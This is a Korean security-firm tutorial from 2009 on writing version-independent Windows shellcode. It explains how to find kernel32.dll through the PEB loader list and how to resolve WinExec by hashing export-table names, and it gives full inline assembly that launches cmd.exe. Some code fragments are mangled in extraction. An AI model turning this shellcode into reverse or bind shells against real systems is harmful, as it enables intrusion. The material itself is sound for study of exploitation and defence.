▷ 작성자 : Hong10 (hong10@a3sc.co.kr)
▷ 편집자 : 니키 (ngnicky@a3sc.co.kr)
문서 작성일 : 2009년 2월 12일
최종 수정일 : 2009년 2월 12일
Hong10님께서 이번에는 "Windows Universal ShellCode"에 대해 집중 분석을 하였습니다. 긴 내용이지만 한번에 모두 포스팅을 하도록 하겠습니다. 프린터 하셔서 보시면 더욱 효율적이라 생각하네요^^)
I. Windows Universal ShellCode
1. Base Knowlage
일반적으로 작성되는 기초적인 쉘 코드는 유저레벨의 함수 호출을 이용하여 프로그래밍 언어로 제작하여 기계어 코드를 생성 한 뒤 그것을 이용합니다. Nix 류의 OS 에서는 Kernel 과 User 의 경계선이 Shell 의 의해 컨트롤 되어 지며 Windows 보다는 좀더 유연한 Kernel 과 통신이 가능합니다.
그래서 Windows 와 비교해서 쉘 코드 작성시 더욱 간편하며 대부분 시스템 프로그래밍을 이용하여 작성 되어지기 때문에 국가/버전에 제약을 덜 받는 쉘 코드 작성이 가능합니다. 하지만 Windows 에서는 Kernel 과의 통신을 엄격히 OS에서 관리 되어 지고 있으며 Windows 특성상 국가/버전에 따른 메모리 영역 주소가 조금씩 차이가 나며 이것은 쉘 코드 작성함에 있어서 Universal 한 코드의 작성을 어렵게 합니다.
흔히 Milw0rm 에 올라오는 Windows Exploit 코드들을 테스트 하다 보면 정상적으로 실행이 안 되는 대다수의 경우가 테스트 쉘 코드 때문에 그러합니다. 그래서 이 문서에서는 Windows 의 어떠한 버전에서도 실행되는 쉘 코드의 개념을 설명 하려 합니다.
Windows 에서 일반적인 쉘 코드 작성의 문제점은 이러합니다.
먼저 쉘 코드를 만들 때 Windows Api 중 CreateProcess,WinExec Api 를 이용하여 CMD.EXE 를 실행하여 쉘코드를 작성 합니다. 하지만 앞서 애기 했듯이 위에서 언급한 Api는 Kernel32.dll 에 의해 export 되어집니다. 윈도우에서는 Kernel32.dll 가 로드 되는 메모리 주소가 국가/버전 별로 조금씩 차이가 있기 때문에 잘못된 위치를 가르켜 실행이 되지 않습니다.
또한 대부분 Exploit 코드들에서는 Kernel32.dll 이나 ntdll.dll 의 시스템 모듈에서 “jmp esp” , “call esp”의 옵 코드들을 찾아 하드코딩 형태로 작성 되기 때문에 이 또한 실행에 많은 제약이 있습니다.(이것은 윈도우 어플리케이션을 공격 할 시 사용되는 일반적인 방법)
그럼 다음 코드를 통하여 하나씩 Step By Step 하는 형태로 설명 을 나가겠습니다.
#pragma comment(lib,"psapi.lib") //컴파일 시 필요한 라이브러리를 로드 EnumProcessModules(GetCurrentProcess(),hProcessModule,sizeof(hProcessModule),&dwReturn); dwModuleNb = dwReturn / sizeof(HMODULE); // 사이즈를 4의 배수만큼 나누어준다. |
위의 코드는 현재 실행한 프로세서가 로드한 모듈을 리스트로 나타낸 것입니다. 다음은 실행 화면입니다.
Windows Kernel 에서는 EPROCESS 라는 구조체로 Kernel Process 를 관리하고 있습니다. 해당 구조체 값 중 우리가 다뤄야 할 부분은 PEB(Process Environment Block)입니다. PEB 은 유저레벨에서 프로세스에 대한 추가적인 정보를 저장하고 있는 구조체 입니다.
PEB의 값 중 LDR 란 구조체는 더블 링크드 리스트 형태로 로드된 모듈에 대한 포인터를 가리키고 있으며 이 리스트를 나타내는 포인터는 모듈이 로드 된 순서, 위치한 순서, 초기화된 순서를 나타내는 3가지 종류의 리스트를 가집니다.
아래와 같이 순서대로 가리키는 구조체 순서를 나타내어 봤습니다.
EPROCESS +0x1b0 Peb |
PEB +0x00c LDR |
LDR +0x01c InInitializationOrderModulelist : List Entry |
다음은 LDR 의 ListEntry의 값입니다
+0x000 Flink(Forward) : Ptr _List_Entry
+0x004 Blink(Backward) : Ptr_ListEntry
다음 코드를 이용하여 각 구조체가 의미하는 값들에 대해 알아 보겠습니다
void main (int argc,char* argv[]) // Jump to the first InInitializationOrderModuleList item _asm ; Next Flink mov edx,DWORD PTR [eax] ; DllBase mov edx,DWORD PTR [eax+8] ; Not the first item? cmp edx,0 ; First item mov edx,DWORD PTR [eax+0x24+8] Good: mov edx,DWORD PTR [eax+0x0C] wprintf(L" Base Name: %s\n",BaseDllName); |
단 여기서 주의할 점은 첫 이미지 베이스는 현재 current process(exe) 인데 이 값은 다른 모듈 리스트와 별개의 오프셋에 존재를 합니다.
다음은 해당 코드를 VC 6.0 에서 디버깅 하는 화면 입니다.
디버깅 도중 현재 프로세서의 PEB 의 LDR 의 값은 0x241ebc 값이며 덤프 된 값은 아래와 같습니다.
00241EBC 58 1F 24 00 20 20 24 00 00 00 00 00 AB AB AB AB X.$. $.....カカ
00241ECC AB AB AB AB 00 00 00 00 00 00 00 00 0D 00 08 00 カカ............
00241EDC D6 07 18 00 48 1F 24 00 AC 1E 24 00 50 1F 24 00 ....H.$...$.P.$.
00241EEC B4 1E 24 00 00 00 00 00 00 00 00 00 00 00 40 00 ..$...........@.
00241EFC D0 16 40 00 00 E0 02 00 70 00 72 00 34 09 02 00 ..@.....p.r.4 ..
00241F0C 1E 00 20 00 86 09 02 00 00 50 00 00 FF FF 00 00 .. .. ...P......
아래는 박스 친 값에 따른 분류표 입니다.
FLink |
0x00241F58 |
BLink |
0x00242020 |
Loading address of the module |
0x00400000 |
Entry point of the module |
0x004016D0 |
Size , In bytes , occupied by the module |
0x0002E000 |
File Name |
0x00020934 |
Base Name |
0x00020986 |
여기서는 총 3 개의 모듈이 로드 되며 0x00242020 에는 kernel32.dll 의 모듈 리스트를 나타 냅니다. 즉 InInitializationOrderModulelist 로 나타내는 모듈 리스트는 current process -> ntdll.dll -> kernel32.dll 로 초기화 되는 모듈 리스트가 정해져 있습니다.
이런한 더블 링크드 리스트는 다음 그림과 같이 표현이 됩니다.
또한 InInitializationOrderModulelist 의 값들은 다음과 같이 표현 됩니다. 앞서 설명 과 같이 current process는 약간 다른 예외적 상황임을 알 수 있습니다.
0x000 Flink : LIST_ENTRY 0x004 Blink : LIST_ENTRY 0x008 DllBase : Ptr32 0x00C EntryPoint : Ptr32 0x010 SizeOfImage : Uint4B 0x014 FullDllName : UNICODE_STRING 0x014 (0x000) Length : Uint2B 0x016 (0x002) MaximumLength : Uint2B 0x018 (0x004) Buffer : Ptr32 0x01C BaseDllName : UNICODE_STRING 0x01C (0x000) Length : Uint2B 0x01E (0x002) MaximumLength : Uint2B 0x020 (0x004) Buffer : Ptr32 |
Universal 한 Windows 쉘 코드 작성에 필요한 값들을 알아 보았습니다. 위와 같은 값을 알 아 본 이유는 쉘 코드 작성시 PEB 을 이용하여 kernel32.dll 의 DllBase를 획득하기 위하여 입니다.
이는 위에서 설명한 kernel32.dll 이 export 하고 있는 API 중 CreateProcess , WinExec를 사용하기 위하여 DllBase를 얻은뒤 export 하고 있는 함수 주소의 offset을 계산한 뒤 호출을 함으로써 국가/버전에 관계없는 universal 한 쉘 코드를 획득 할 수 있습니다.
또한 “Understanding Windows Shellcode” 문서에서 설명하고 있는 것으로 kernel32.dll의 DllBase를 얻는 방법에는 PEB,SEH,TOP STACK 을 이용하는 세가지 방법이 있습니다. 이렇게 kernel32.dll 의 DllBase를 획득한 뒤 EAT(Export Address Table) , IAT(Import Address Table) 의 Offset을 계산 합니다.
Function Name 역시 유일한 값을 얻기 위하여 Hash 알고리즘을 통하여 Hash값을 구한 뒤 비교 구문을 통하여 좀더 안정성 있는 쉘 코드를 구하게 됩니다. 다만 오버헤드가 커진다는 단점이 있는데 이것은 다양한 어셈 코드 연구를 통하여 해커들이 극복해나가야 할 또 다른 과제라고 생각이 되어 집니다.
2. Basic Windows Shell
그럼 다음 코드를 통하여 어떻게 PEB을 통하여 Kernel32.dl 의 DllBase 를 얻는 지와 WinExec 의 Hash 값을 통하여 EAT 의 Function Entry 를 얻는 과정을 설명 하겠습니다.
#define EMIT_4_LITTLE_ENDIAN(a,b,c,d) _asm _emit a __asm _emit b __asm _emit c __asm _emit d int main(int argc, char* argv[]) { _asm { universalshell: jmp startup_bnc find_kernel32: mov esi,[esp] push esi xor eax,eax mov eax,fs:[eax+0x30] test eax,eax js find_kernel32_9x find_kernel32_nt: mov eax,[eax+0x0c] mov esi,[eax+0x1c] lodsd mov eax,[eax+0x8] jmp find_kernel32_finished find_kernel32_9x: mov eax,[eax+0x34] lea eax,[eax+0x7c] mov eax,[eax+0x3c] find_kernel32_finished: pop esi ret find_function: pushad mov ebp,[esp+0x24] mov eax,[ebp+0x3c] mov edx,[ebp+eax+0x78] add edx,ebp mov ecx,[edx+0x18] mov ebx,[edx+0x20] add ebx,ebp find_function_loop: jecxz find_function_finished dec ecx mov esi,[ebx+ecx*4] add esi,ebp compute_hash: xor edi,edi xor eax,eax cld compute_hash_again: lodsb test al,al jz compute_hash_finished ror edi,0xd add edi,eax jmp compute_hash_again compute_hash_finished: find_function_compare: cmp edi,[esp+0x28] jnz find_function_loop mov ebx,[edx+0x24] add ebx,ebp mov cx,[ebx+2*ecx] mov ebx,[edx+0x1c] add ebx,ebp mov eax,[ebx+4*ecx] add eax,ebp // mov [esp+0x1c],eax find_function_finished: popad ret startup_bnc: jmp startup resolve_symbols_for_dll: lodsd push eax push edx call find_function mov [edi],eax add esp,0x08 add edi,0x04 cmp esi,ecx jne resolve_symbols_for_dll resolve_symbols_for_dll_finished: ret kernel32_symbol_hashes: EMIT_4_LITTLE_ENDIAN(0x98,0xfe,0x8a,0x0e) //WinExec // EMIT_4_LITTLE_ENDIAN(0x72,0xfe,0xb3,0x16) //CreateProcessA EMIT_4_LITTLE_ENDIAN(0x7e,0xd8,0xe2,0x73) //ExitProcess startup: call find_kernel32 mov edx,eax resolve_kernel32_symbols: sub esi,0xd lea edi,[ebp+0x04] mov ecx,esi add ecx,0x08 call resolve_symbols_for_dll initialize_cmd: mov eax,0x646d6300 sar eax,0x08 push eax mov [ebp+0x34],esp execute_process: xor eax,eax mov al,0x0a push eax push [ebp+0x34] // lea esi,[edi+0x44] // push eax // push eax // push eax // push eax // push eax // inc eax // push eax // dec eax // push eax // push eax // push [ebp+0x34] // push eax call [ebp+0x04] exit_process: call [ebp+0x08] } return 0; } |
위 코드가 앞서 설명한 것을 나타낸 것 입니다. 이것이 Universal 한 쉘 코드의 Basical 한 모습입니다. 여기서 Reverse Shell , Bind Shell , 기타 Dropper 형태의 Shell 등등 응용되어서 만들 수 있습니다.
먼저 kernel32.dll 의 DllBase 을 획득하는 코드 부분을 보시겠습니다.
find_kernel32: mov esi,[esp] push esi xor eax,eax mov eax,fs:[eax+0x30]//current process of peb test eax,eax js find_kernel32_9x find_kernel32_nt: mov eax,[eax+0x0c] //ldr mov esi,[eax+0x1c] //ininitalizationOrderModuleList lodsd//이걸 실행하면 kernel32.dll 의 ldr module mov eax,[eax+0x8] //offset 0x8에는 dllbase주소 jmp find_kernel32_finished find_kernel32_9x: mov eax,[eax+0x34] lea eax,[eax+0x7c] mov eax,[eax+0x3c] find_kernel32_finished: pop esi//call find_kernel32 의 ret address ret |
코드를 보시면 Windows 9x 버전에도 kernel32.dll 의 DllBase 을 찾을 수 있도록 코딩이 되어 있습니다.
*mov esi ,[esp]
startup: 레이블에서 find_kernel 레이블을 호출 시 리턴 어드레스가 저장 되는데 그 값을 저장 하는 이유는 아래 코드가 리턴 어드레스 위에 값을 가지고 있기 때문에 Offset 을 계산하기 편하기 위해 설정된 값입니다.
kernel32_symbol_hashes: EMIT_4_LITTLE_ENDIAN(0x98,0xfe,0x8a,0x0e) //WinExec // EMIT_4_LITTLE_ENDIAN(0x72,0xfe,0xb3,0x16) //CreateProcessA EMIT_4_LITTLE_ENDIAN(0x7e,0xd8,0xe2,0x73) //ExitProcess |
다음은 구하고자 하는 Function Name 의 Hash 값을 구해 비교 한 뒤 특정 Stack 에 값을 저장 하는 구문입니다.
resolve_kernel32_symbols: sub esi,0xd//처음 루프문에서는 WinExec의 헥사 값을 가리킨다 lea edi,[ebp+0x04]//구한hash값을 저장하기 위한 공간 mov ecx,esi//루프 문 카운터를 위하여 설정하는 값 add ecx,0x08//예제에서 두개의 함수를 구하므로 4의 배수 값으로 8 call resolve_symbols_for_dll resolve_symbols_for_dll: lodsd push eax push edx call find_function // 구하고자 하는 함수를 찾기 mov [edi],eax //위에서 확보한 ebp+0x4 공간에 구한 함수 주소를 저장 add esp,0x08 //call find_function으로 인한 스택 복구 add edi,0x04 //다음 함수 주소를 저장하기 위한 공간 cmp esi,ecx //위에서 설정한 루프문의 카운터 값 비교 jne resolve_symbols_for_dll resolve_symbols_for_dll_finished: ret |
위의 코드는 구하고자 하는 function hash 값을 Stack 공간에 저장 하는 루틴입니다. 다음은 예제에서 저장된 함수 의 값의 위치와 값입니다.
EBP + 0x4 | EBP+0x08 |
WinExec | ExitProcess |
다음 코드는 find_function에 대한 코드입니다.
find_function: pushad mov ebp,[esp+0x24] //kernel32.dll의 Image Base 주소 mov eax,[ebp+0x3c] //PE파일을 나타내는 시그내처 mov edx,[ebp+eax+0x78] //IMAGE_EXPORT_DIRECTORY 구조체를 가리키는 RVA add edx,ebp mov ecx,[edx+0x18] //함수 이름 개수 mov ebx,[edx+0x20] //익스포트 함수 이름 포인터 테이블 add ebx,ebp find_function_loop: jecxz find_function_finished dec ecx mov esi,[ebx+ecx*4] //이미지베이스+(함수이름갯수-1)*4 , 거꾸로 검색한다. add esi,ebp compute_hash: xor edi,edi xor eax,eax cld compute_hash_again: lodsb test al,al jz compute_hash_finished ror edi,0xd add edi,eax jmp compute_hash_again compute_hash_finished: find_function_compare: cmp edi,[esp+0x28] //거꾸로 찾은 함수 hash 와 구하고자하는 함수 hash(esp+0x24) 비교 jnz find_function_loop mov ebx,[edx+0x24] //익스포트 함수 서수 테이블 add ebx,ebp mov cx,[ebx+2*ecx] //oridinal 값 획득(2바이트 배열로 존재 +base) mov ebx,[edx+0x1c] //익스포트 함수 포인터 테이블 add ebx,ebp mov eax,[ebx+4*ecx]//function 의 주소를 얻음 add eax,ebp // mov [esp+0x1c],eax find_function_finished: popad ret |
*mov edx,[ebp+eax+0x78]
현재 ebp 에는 kernel32.dll 의 DllBase(0x7c800000) 주소를 가지고 있습니다.거기에 3c 오프셋 에는 PE 파일 시그내처 을 나타내는 주소 값 입니다.이 주소 값 에서 0x78 만큼 떨어 진 곳에는 IMAGE_EXPORT_DIRECTORY 구조체를 가리키는 RVA(2c26) 값이 담겨 있습니다.
다음 4바이트는 사이즈를 나타내는 값 입니다. 다음은 메모리 덤프 한 값입니다.
7C8000F0 50 45 00 00 4C 01 04 00 CE C0 02 48 00 00 00 00 PE..L .括 H....
7C800100 00 00 00 00 E0 00 0E 21 0B 01 07 0A 00 32 08 00 ....?
7C800110 00 84 0A 00 00 00 00 00 3E B6 00 00 00 10 00 00 .?.....>?.. ..
7C800120 00 00 08 00 00 00 80 7C 00 10 00 00 00 02 00 00 .. ...|. ... ..
7C800130 05 00 01 00 05 00 01 00 04 00 00 00 00 00 00 00 . . . . .......
7C800140 00 00 13 00 00 04 00 00 BC DF 12 00 03 00 00 00 .. .. ..솬 . ...
7C800150 00 00 04 00 00 10 00 00 00 00 10 00 00 10 00 00 .. .. .... .. ..
7C800160 00 00 00 00 10 00 00 00 2C 26 00 00 FD 6C 00 00 .... ...,&..?..
0x7c8000f0 값이 PE 시그내처 을 나타내는 값 입니다.
● VitaulAddress 0x00002c26
● Size 0x00006cfd
*add edx,ebp
실제 주소 번지(가상 주소) = 이미지 로드 시작 번지(DllBase) + RVA
즉 해당 코드를 실행 하면 EXPORT 구조체를 가리키는 실제 주소 번지에 값을 알 수 있습니다.
*mov ecx,[edx+0x18]
함수 이름의 개수를 ecx에 넣습니다.
*mov ebx,[edx+0x20]
익스포트 함수 이름 테이블 포인터 을 ebx에 넣습니다.
위에서 0x7c802c26 값이 IMAGE_EXPORT_DIRECTORY 구조체를 가리킨다고 했습니다. 해당 주소에서 메모리 덤프를 값을 살펴 보면 다음과 같습니다.
7C80262C 00 00 00 00 E1 5B 02 48 00 00 00 00 8E 4B 00 00 ....? H....랯..
7C80263C 01 00 00 00 B9 03 00 00 B9 03 00 00 54 26 00 00 ...?..?..T&..
7C80264C 38 35 00 00 1C 44 00 00 D4 A6 00 00 05 55 03 00 85.. D..濤.. U .
위에서 보시는 대로 박스 친 필드 값을 상세히 나타내면 다음 과 같습니다
필드 |
값(RVA) |
의미 |
Characteristics |
0x00000000 |
의미 없다. |
TimeDateStamp |
0x41110216 |
시간 스탬프 |
Version |
0x00000000 |
의미 없다. |
Name |
0x00004b8e |
DLL 이름 |
Base |
0x00000001 |
서수의 시작 번호 |
NumberOfFunctions |
0x000003b9 |
함수 개수 |
NumberOfNames |
0x000003b9 |
함수 이름 개수 |
AddressOfFunctions |
0x00002654 |
익스포트 함수 포인터 테이블 |
AddressOfNames |
0x00003538 |
익스포트 함수 이름 포인터 테이블 |
AddressOfNamesOrdinals |
0x0000441c |
익스포트 함수 서수 테이블 |
*cmp edi,[esp+0x28]
[esp+0x28]에는 원래 구하고자 하는 function hash 가 있으며 edi 는 루프 문을 통한 hash 값과 비교 하고 있다.
*ebx,[edx+0x24]
위 루프 문에서 찾고자 하는 hash 값을 얻었다면 해당 function 의 실제 주소를 찾아야 한다. 그때 필요한 것은 익스포트 함수 서수 테이블 입니다. 위 표에서 알 수 있듯이 0x0000441c (RVA)오프셋 위치에 존재 합니다.
*mov cx,[ebx+2*ecx]
ecx 값은 위에서 함수 이름 개수 만큼 loop를 돌면서 감소 하는 카운터 입니다. Ebx는 현재 익스포트 함수 서수 테이블을 가리키며 서수 값은 총 2바이트 이므로 찾은 함수의 서수 값을 알 수 있습니다.
*mov ebx,[edx+0x1c]
위에서 함수 서수를 구하였으므로 그 값을 바탕으로 실제 함수가 구현된 주소 값 을 찾을 수 있습니다. 그러기 위해선 우선 익스포트 함수 포인터 테이블을 ebx에 담습니다.
*mov eax,[ebx+4*ecx]
찾고자 하는 함수 주소 값 을 eax에 담습니다.
이와 같은 과정을 LoadPe 라는 툴 을 이용하여 살펴 보면 다음과 같습니다.
*Ordinal이 서수를 뜻합니다.
위 코드 중에 빠진 설명이 있는 데 그것은 바로 hash 값을 구하는 알고리즘 입니다.
그렇게 복잡한 건 없지만 다음 코드를 통해 위 코드에서 사용되고 있는 hash 알고리즘에 대해 알아 보겠습니다.
int main(int argc, char *argv[]) { if(argc != 2) { |
아래는 WinExec 라는 문자열을 이용하여 실행한 결과 입니다.
결과 값은 Univesal 쉘 코드 작성 시 사용된 Hash 값과 동일 한 것을 알 수 있습니다. 해당 알고리즘 루틴은 한 바이트씩 값을 구하여 (“Winexec” 가 예라면 ‘W’값부터)eax레지스터에 저장합니다. 그리고 edi 레지스터를 0xd 만큼 ror 을 한다음 그 값을 eax와 더한 뒤 다시 test al,al 을 통하여 ‘\00’ 값이 들어올 때까지 루프를 돌게 됩니다.
이와 마찬가지로 Universal 쉘 코드 를 구하는 코드에서 함수 를 검색할 때 마다 hash 값을 구해서 구하고 자 하는 hash 값을 비교 하여 획득 할 수 있습니다.
initialize_cmd: mov eax,0x646d6300 sar eax,0x08 push eax mov [ebp+0x34],esp execute_process: xor eax,eax mov al,0x0a push eax push [ebp+0x34] call [ebp+0x04] //WinExec exit_process: call [ebp+0x08] //ExiteProcess |
위 코드는 Winexec 에 필요한 “CMD” 문자를 설정 하여 주는 것 과 실제 적으로 쉘 을 띄우는 역할을 수행하게 됩니다.
*sar eax,0x08
0x646d6300 은 문자로 ‘mdc’ 을 나타냅니다. Little-Endian 이므로 sar 을 통하여 0x00646d63 을 수행 함으로 결국에는 Winexec 에 필요한 인자 값으로 “CMD” 을 의미합니다.
다음은 작성한 Univesal 한 쉘 코드의 기계어 코드를 수행하는 화면입니다.(Realse 모드로 컴파일 하여 기계어 코드를 뽑아 냅니다.)
char shellcode[]= int main(int argc, char *argv[]) |
앞으로 더 추가될 좋은 내용을 기대해 보시기 바랍니다^^)..편집만 30분이 걸렸습니다--GG
Copyright(c) 1998-2009 A3 Security ,LTD
Disclaimer
※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.